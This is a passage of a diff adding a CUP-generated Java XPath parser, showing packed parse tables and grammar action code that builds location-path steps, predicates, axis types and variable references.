"\uffce\021\uffce\022\uffce\023\uffce\024\uffce\025\uffce\026\uffce" + + "\027\uffce\030\uffce\031\uffce\032\uffce\033\uffce\001\002\000" + + "\054\002\uffcc\004\uffcc\005\uffcc\011\uffcc\013\uffcc\014\064" + + "\015\uffcc\016\uffcc\017\uffcc\020\uffcc\021\uffcc\022\uffcc\023" + + "\uffcc\024\uffcc\025\uffcc\026\uffcc\027\uffcc\030\uffcc\031\uffcc" + + "\032\uffcc\033\uffcc\001\002\000\054\002\uffcd\004\uffcd\005" + + "\uffcd\011\uffcd\013\uffcd\014\uffcd\015\uffcd\016\uffcd\017\uffcd" + + "\020\uffcd\021\uffcd\022\uffcd\023\uffcd\024\uffcd\025\uffcd\026" + + "\uffcd\027\uffcd\030\uffcd\031\uffcd\032\uffcd\033\uffcd\001\002" + + "\000\054\002\uffcc\004\uffcc\005\uffcc\011\uffcc\013\uffcc\014" + + "\064\015\uffcc\016\uffcc\017\uffcc\020\uffcc\021\uffcc\022\uffcc" + + "\023\uffcc\024\uffcc\025\uffcc\026\uffcc\027\uffcc\030\uffcc\031" + + "\uffcc\032\uffcc\033\uffcc\001\002\000\052\002\uffd0\004\uffd0" + + "\005\uffd0\011\uffd0\013\uffd0\015\uffd0\016\uffd0\017\uffd0\020" + + "\uffd0\021\uffd0\022\uffd0\023\uffd0\024\uffd0\025\uffd0\026\uffd0" + + "\027\uffd0\030\uffd0\031\uffd0\032\uffd0\033\uffd0\001\002\000" + + "\052\002\uffcb\004\uffcb\005\uffcb\011\uffcb\013\uffcb\015\uffcb" + + "\016\uffcb\017\uffcb\020\uffcb\021\uffcb\022\uffcb\023\uffcb\024" + + "\uffcb\025\uffcb\026\uffcb\027\uffcb\030\uffcb\031\uffcb\032\uffcb" + + "\033\uffcb\001\002\000\046\002\uffc4\004\uffc4\005\uffc4\011" + + "\uffc4\013\uffc4\015\uffc4\016\uffc4\017\uffc4\020\uffc4\021\uffc4" + + "\022\uffc4\023\uffc4\024\uffc4\027\uffc4\030\uffc4\031\uffc4\032" + + "\uffc4\033\uffc4\001\002\000\046\002\uffd5\004\uffd5\005\uffd5" + + "\011\uffd5\013\uffd5\015\uffd5\016\uffd5\017\uffd5\020\uffd5\021" + + "\uffd5\022\uffd5\023\uffd5\024\uffd5\027\uffd5\030\uffd5\031\uffd5" + + "\032\uffd5\033\uffd5\001\002" }); + + /** Access to parse-action table. */ + public short[][] action_table() {return _action_table;} + + /** reduce_goto table. */ + protected static final short[][] _reduce_table = + unpackFromStrings(new String[] { + "\000\141\000\062\003\007\004\024\005\034\006\013\007" + + "\014\010\010\011\004\012\021\013\045\014\022\015\030" + + "\016\033\017\032\020\043\022\027\024\026\025\011\026" + + "\012\030\025\031\040\032\046\033\017\034\006\035\037" + + "\001\001\000\016\025\011\026\012\030\025\031\040\032" + + "\142\035\037\001\001\000\002\001\001\000\016\025\011" + + "\026\012\030\025\031\040\032\141\035\037\001\001\000" + + "\002\001\001\000\002\001\001\000\002\001\001\000\004" + + "\027\134\001\001\000\002\001\001\000\002\001\001\000" + + "\002\001\001\000\062\003\007\004\024\005\111\006\013" + + "\007\014\010\010\011\004\012\021\013\045\014\022\015" + + "\030\016\033\017\032\020\043\022\027\024\026\025\011" + + "\026\012\030\025\031\040\032\046\033\017\034\006\035" + + "\037\001\001\000\002\001\001\000\002\001\001\000\002" + + "\001\001\000\002\001\001\000\002\001\001\000\002\001" + + "\001\000\002\001\001\000\002\001\001\000\002\001\001" + + "\000\002\001\001\000\002\001\001\000\002\001\001\000" + + "\002\001\001\000\004\036\060\001\001\000\002\001\001" + + "\000\002\001\001\000\002\001\001\000\002\001\001\000" + + "\002\001\001\000\002\001\001\000\002\001\001\000\002" + + "\001\001\000\044\003\007\004\024\014\055\015\030\016" + + "\033\017\032\020\043\022\027\024\026\025\011\026\012" + + "\030\025\031\040\032\046\033\017\034\006\035\037\001" + + "\001\000\002\001\001\000\002\001\001\000\044\003\007" + + "\004\024\014\054\015\030\016\033\017\032\020\043\022" + + "\027\024\026\025\011\026\012\030\025\031\040\032\046" + + "\033\017\034\006\035\037\001\001\000\044\003\007\004" + + "\024\014\053\015\030\016\033\017\032\020\043\022\027" + + "\024\026\025\011\026\012\030\025\031\040\032\046\033" + + "\017\034\006\035\037\001\001\000\044\003\007\004\024" + + "\014\052\015\030\016\033\017\032\020\043\022\027\024" + + "\026\025\011\026\012\030\025\031\040\032\046\033\017" + + "\034\006\035\037\001\001\000\002\001\001\000\002\001" + + "\001\000\002\001\001\000\002\001\001\000\002\001\001" + + "\000\002\001\001\000\002\001\001\000\016\025\011\026" + + "\012\030\025\031\040\032\067\035\037\001\001\000\016" + + "\025\011\026\012\030\025\031\040\032\066\035\037\001" + + "\001\000\062\003\007\004\024\005\064\006\013\007\014" + + "\010\010\011\004\012\021\013\045\014\022\015\030\016" + + "\033\017\032\020\043\022\027\024\026\025\011\026\012" + + "\030\025\031\040\032\046\033\017\034\006\035\037\001" + + "\001\000\002\001\001\000\002\001\001\000\002\001\001" + + "\000\002\001\001\000\042\003\007\004\024\015\030\016" + + "\033\017\032\020\071\022\027\024\026\025\011\026\012" + + "\030\025\031\040\032\046\033\017\034\006\035\037\001" + + "\001\000\002\001\001\000\016\025\011\026\012\030\025" + + "\031\040\032\075\035\037\001\001\000\016\025\011\026" + + "\012\030\025\031\040\032\074\035\037\001\001\000\002" + + "\001\001\000\002\001\001\000\066\003\007\004\024\005" + + "\101\006\013\007\014\010\010\011\004\012\021\013\045" + + "\014\022\015\030\016\033\017\032\020\043\021\077\022" + + "\027\023\100\024\026\025\011\026\012\030\025\031\040" + + "\032\046\033\017\034\006\035\037\001\001\000\002\001" + + "\001\000\002\001\001\000\002\001\001\000\066\003\007" + + "\004\024\005\101\006\013\007\014\010\010\011\004\012" + + "\021\013\045\014\022\015\030\016\033\017\032\020\043" + + "\021\103\022\027\023\100\024\026\025\011\026\012\030" + + "\025\031\040\032\046\033\017\034\006\035\037\001\001" + + "\000\002\001\001\000\002\001\001\000\046\003\007\004" + + "\024\013\110\014\022\015\030\016\033\017\032\020\043" + + "\022\027\024\026\025\011\026\012\030\025\031\040\032" + + "\046\033\017\034\006\035\037\001\001\000\046\003\007" + + "\004\024\013\107\014\022\015\030\016\033\017\032\020" + + "\043\022\027\024\026\025\011\026\012\030\025\031\040" + + "\032\046\033\017\034\006\035\037\001\001\000\002\001" + + "\001\000\002\001\001\000\002\001\001\000\002\001\001" + + "\000\052\003\007\004\024\011\126\012\021\013\045\014" + + "\022\015\030\016\033\017\032\020\043\022\027\024\026" + + "\025\011\026\012\030\025\031\040\032\046\033\017\034" + + "\006\035\037\001\001\000\052\003\007\004\024\011\115" + + "\012\021\013\045\014\022\015\030\016\033\017\032\020" + + "\043\022\027\024\026\025\011\026\012\030\025\031\040" + + "\032\046\033\017\034\006\035\037\001\001\000\002\001" + + "\001\000\050\003\007\004\024\012\125\013\045\014\022" + + "\015\030\016\033\017\032\020\043\022\027\024\026\025" + + "\011\026\012\030\025\031\040\032\046\033\017\034\006" + + "\035\037\001\001\000\050\003\007\004\024\012\124\013" + + "\045\014\022\015\030\016\033\017\032\020\043\022\027" + + "\024\026\025\011\026\012\030\025\031\040\032\046\033" + + "\017\034\006\035\037\001\001\000\050\003\007\004\024" + + "\012\123\013\045\014\022\015\030\016\033\017\032\020" + + "\043\022\027\024\026\025\011\026\012\030\025\031\040" + + "\032\046\033\017\034\006\035\037\001\001\000\050\003" + + "\007\004\024\012\122\013\045\014\022\015\030\016\033" + + "\017\032\020\043\022\027\024\026\025\011\026\012\030" + + "\025\031\040\032\046\033\017\034\006\035\037\001\001" + + "\000\002\001\001\000\002\001\001\000\002\001\001\000" + + "\002\001\001\000\002\001\001\000\056\003\007\004\024" + + "\007\014\010\130\011\004\012\021\013\045\014\022\015" + + "\030\016\033\017\032\020\043\022\027\024\026\025\011" + + "\026\012\030\025\031\040\032\046\033\017\034\006\035" + + "\037\001\001\000\002\001\001\000\054\003\007\004\024" + + "\007\132\011\004\012\021\013\045\014\022\015\030\016" + + "\033\017\032\020\043\022\027\024\026\025\011\026\012" + + "\030\025\031\040\032\046\033\017\034\006\035\037\001" + + "\001\000\002\001\001\000\002\001\001\000\006\036\136" + + "\037\137\001\001\000\002\001\001\000\006\036\136\037" + + "\140\001\001\000\002\001\001\000\002\001\001\000\002" + + "\001\001\000\002\001\001" }); + + /** Access to reduce_goto table. */ + public short[][] reduce_table() {return _reduce_table;} + + /** Instance of action encapsulation class. */ + protected CUP$parser$actions action_obj; + + /** Action encapsulation object initializer. */ + protected void init_actions() + { + action_obj = new CUP$parser$actions(this); + } + + /** Invoke a user supplied parse action. */ + public java_cup.runtime.Symbol do_action( + int act_num, + java_cup.runtime.lr_parser parser, + java.util.Stack stack, + int top) + throws java.lang.Exception + { + /* call code in generated class */ + return action_obj.CUP$parser$do_action(act_num, parser, stack, top); + } + + /** Indicates start state. */ + public int start_state() {return 0;} + /** Indicates start production. */ + public int start_production() {return 1;} + + /** EOF Symbol index. */ + public int EOF_sym() {return 0;} + + /** error Symbol index. */ + public int error_sym() {return 1;} + + + + public Hashtable nsHash; + public Hashtable symbolHash; + Step tempStep; + NodeTest tempNt; + LocationPathExpr tempLPExpr; + // ExprList tmpEL1, tmpEL2; + + public parser (java.io.Reader input) { + super(new Yylex(input)); + nsHash = null; + } + + public parser (java.io.InputStream input) { + super(new Yylex(input)); + } + + public static void main(String args[]){ + try { + parser p = new parser(System.in); + Object result = p.parse().value; + //System.out.println(((Expr)result).evalNumber(null)); + //System.out.println(((Expr)result)); + } + catch (Exception e) { + System.out.println("caught: "+e); + } + } + + public void report_error(String message, Object info) { + //throw new XPathParseException("Syntax error during parsing"); + } + + public void report_fatal_error(String message, Object info) throws XPathParseExceptionHuge{ + throw new XPathParseExceptionHuge("Syntax error during parsing: "+ message); + } + + public void syntax_error(Symbol cur_token) { + + } + + public void unrecovered_syntax_error(Symbol cur_token) throws XPathParseExceptionHuge{ + Yylex scanner = (Yylex)getScanner(); + throw new XPathParseExceptionHuge("XPath Syntax error: "+cur_token, scanner.getOffset()); + } + +} + +/** Cup generated class to encapsulate user supplied action code.*/ +class CUP$parser$actions { + private final parser parser; + + /** Constructor */ + CUP$parser$actions(parser parser) { + this.parser = parser; + } + + /** Method with the actual generated action code. */ + public final java_cup.runtime.Symbol CUP$parser$do_action( + int CUP$parser$act_num, + java_cup.runtime.lr_parser CUP$parser$parser, + java.util.Stack CUP$parser$stack, + int CUP$parser$top) + throws java.lang.Exception + { + /* Symbol object for return from actions */ + java_cup.runtime.Symbol CUP$parser$result; + + /* select the action based on the action number */ + switch (CUP$parser$act_num) + { + /*. . . . . . . . . . . . . . . . . . . .*/ + case 65: // FunctionName ::= FNAME + { + FuncName RESULT = null; + int fnleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int fnright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + FuncName fn = (FuncName)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = fn; + CUP$parser$result = new java_cup.runtime.Symbol(2/*FunctionName*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 64: // VariableReference ::= DOLLAR NAME + { + Expr RESULT = null; + int nleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int nright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + NameType n = (NameType)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + + if (parser.symbolHash.get(n.qname)==null) + throw new XPathParseExceptionHuge("variableExpression not declared ==> $"+n.qname); + RESULT = new VariableExpr(n.qname, (Expr)parser.symbolHash.get(n.qname)); + + CUP$parser$result = new java_cup.runtime.Symbol(13/*VariableReference*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 63: // Predicate ::= LB Expr RB + { + Predicate RESULT = null; + int eleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).left; + int eright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).right; + Expr e = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-1)).value; + RESULT = new Predicate(); + RESULT.expr= e; + + CUP$parser$result = new java_cup.runtime.Symbol(28/*Predicate*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 62: // AbbreviatedRelativeLocationPath ::= Step DSLASH RelativeLocationPath + { + Step RESULT = null; + int sleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left; + int sright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).right; + Step s = (Step)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-2)).value; + int rlpleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int rlpright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Step rlp = (Step)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new Step(); + RESULT.setAxisType(AxisType.DESCENDANT_OR_SELF); + parser.tempNt = new NodeTest(); + + parser.tempNt.setTestType(NodeTest.NODE); + RESULT.setNodeTest(parser.tempNt); + s.setNextStep(RESULT); + RESULT.setPrevStep(s); + RESULT.setNextStep(rlp); + rlp.setPrevStep(RESULT); + RESULT = s; + + CUP$parser$result = new java_cup.runtime.Symbol(27/*AbbreviatedRelativeLocationPath*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 61: // AbbreviatedAbsoluteLocationPath ::= DSLASH RelativeLocationPath + { + Step RESULT = null; + int rlpleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int rlpright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Step rlp = (Step)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + + RESULT = new Step(); + RESULT.setAxisType(AxisType.DESCENDANT_OR_SELF); + parser.tempNt = new NodeTest(); + parser.tempNt.setTestType(NodeTest.NODE); + RESULT.setNodeTest(parser.tempNt); + RESULT.setNextStep(rlp); + rlp.setPrevStep(RESULT); + + CUP$parser$result = new java_cup.runtime.Symbol(26/*AbbreviatedAbsoluteLocationPath*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 60: // AbbreviatedStep ::= DDOT + { + Step RESULT = null; + RESULT = new Step(); + parser.tempNt = new NodeTest(); + parser.tempNt.setTestType(NodeTest.NODE); + RESULT.setAxisType(AxisType.PARENT); + RESULT.setNodeTest(parser.tempNt); + // System.out.println("result " + RESULT.toString()); + + CUP$parser$result = new java_cup.runtime.Symbol(23/*AbbreviatedStep*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 59: // AbbreviatedStep ::= DOT + { + Step RESULT = null; + RESULT = new Step(); + parser.tempNt = new NodeTest(); + parser.tempNt.setTestType(NodeTest.NODE); + RESULT.setAxisType(AxisType.SELF); + RESULT.setNodeTest(parser.tempNt); + + CUP$parser$result = new java_cup.runtime.Symbol(23/*AbbreviatedStep*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 58: // AbbreviatedAxisSpecifier ::= AT + { + AxisType RESULT = null; + RESULT = new AxisType(); RESULT.i = AxisType.ATTRIBUTE; + CUP$parser$result = new java_cup.runtime.Symbol(20/*AbbreviatedAxisSpecifier*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 57: // AbbreviatedAxisSpecifier ::= + { + AxisType RESULT = null; + RESULT = new AxisType(); RESULT.i = AxisType.CHILD; + CUP$parser$result = new java_cup.runtime.Symbol(20/*AbbreviatedAxisSpecifier*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 56: // AxisSpecifier ::= AbbreviatedAxisSpecifier + { + AxisType RESULT = null; + int aasleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int aasright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + AxisType aas = (AxisType)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = aas; + CUP$parser$result = new java_cup.runtime.Symbol(19/*AxisSpecifier*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 55: // AxisSpecifier ::= AXISNAME + { + AxisType RESULT = null; + int anleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int anright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + AxisType an = (AxisType)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = an; + CUP$parser$result = new java_cup.runtime.Symbol(19/*AxisSpecifier*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 54: // PredicateList ::= Predicate PredicateList + { + Predicate RESULT = null; + int pleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).left; + int pright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).right; + Predicate p = (Predicate)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-1)).value; + int plleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int plright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Predicate pl = (Predicate)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + p.nextP = pl; + RESULT = p; + + CUP$parser$result = new java_cup.runtime.Symbol(29/*PredicateList*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 53: // PredicateList ::= + { + Predicate RESULT = null; + RESULT = null; + + CUP$parser$result = new java_cup.runtime.Symbol(29/*PredicateList*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 52: // nodetest ::= NTEST + { + NodeTest RESULT = null; + int n2left = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int n2right = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Ntest n2 = (Ntest)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new NodeTest(); + RESULT.setTestType(n2.i); + + CUP$parser$result = new java_cup.runtime.Symbol(21/*nodetest*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 51: // nodetest ::= NAME + { + NodeTest RESULT = null; + int nleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int nright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + NameType n = (NameType)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new NodeTest(); + RESULT.setTestType(NodeTest.NAMETEST); + RESULT.setNodeName(n.qname); + if (n.localname!=null){ + RESULT.setNodeNameNS(n.prefix,n.localname); + if (parser.nsHash==null || parser.nsHash.get(n.prefix) ==null) + throw new XPathParseExceptionHuge("No URL found for prefix:"+n.prefix); + RESULT.URL = (String) parser.nsHash.get(n.prefix); + } + + CUP$parser$result = new java_cup.runtime.Symbol(21/*nodetest*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 50: // Step ::= AbbreviatedStep + { + Step RESULT = null; + int absleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int absright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Step abs = (Step)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = abs; + //System.out.println(" step 4"); + + CUP$parser$result = new java_cup.runtime.Symbol(22/*Step*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 49: // Step ::= AxisSpecifier nodetest PredicateList + { + Step RESULT = null; + int asleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left; + int asright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).right; + AxisType as = (AxisType)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-2)).value; + int ntleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).left; + int ntright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).right; + NodeTest nt = (NodeTest)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-1)).value; + int plleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int plright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Predicate pl = (Predicate)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new Step(); + RESULT.setAxisType(as.i); + if ( (as.i== AxisType.ATTRIBUTE + || as.i == AxisType.DESCENDANT + || as.i == AxisType.PRECEDING + || as.i == AxisType.FOLLOWING + || as.i == AxisType.FOLLOWING_SIBLING + || as.i == AxisType.PRECEDING_SIBLING) && + (nt.testType>1)){ + Yylex scanner = (Yylex)parser.getScanner(); + throw new XPathParseExceptionHuge(as.getAxisString()+" axis can't operate on"+ + " node(), comment(), pi(), or text()", + scanner.getOffset()); + } + + RESULT.setNodeTest(nt); + RESULT.setPredicate(pl); + + //System.out.println(" Step 3 "); + + + CUP$parser$result = new java_cup.runtime.Symbol(22/*Step*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 48: // RelativeLocationPath ::= AbbreviatedRelativeLocationPath + { + Step RESULT = null; + int arlpleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int arlpright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Step arlp = (Step)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = arlp; + CUP$parser$result = new java_cup.runtime.Symbol(24/*RelativeLocationPath*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 47: // RelativeLocationPath ::= Step SLASH RelativeLocationPath + { + Step RESULT = null; + int sleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left; + int sright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).right; + Step s = (Step)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-2)).value; + int rlpleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int rlpright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Step rlp = (Step)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + //if (s == rlp) throw new XPathParseException("$1 = $3!!!!"); + s.nextS = rlp; + rlp.prevS = s; + RESULT= s; + + CUP$parser$result = new java_cup.runtime.Symbol(24/*RelativeLocationPath*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 46: // RelativeLocationPath ::= Step + { + Step RESULT = null; + int sleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int sright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Step s = (Step)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = s; + CUP$parser$result = new java_cup.runtime.Symbol(24/*RelativeLocationPath*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 45: // AbsoluteLocationPath ::= AbbreviatedAbsoluteLocationPath + { + Step RESULT = null; + int aalpleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int aalpright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Step aalp = (Step)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = aalp; + CUP$parser$result = new java_cup.runtime.Symbol(25/*AbsoluteLocationPath*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 44: // AbsoluteLocationPath ::= SLASH RelativeLocationPath + { + Step RESULT = null; + int rlpleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int rlpright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Step rlp = (Step)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = rlp; + CUP$parser$result = new java_cup.runtime.Symbol(25/*AbsoluteLocationPath*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . 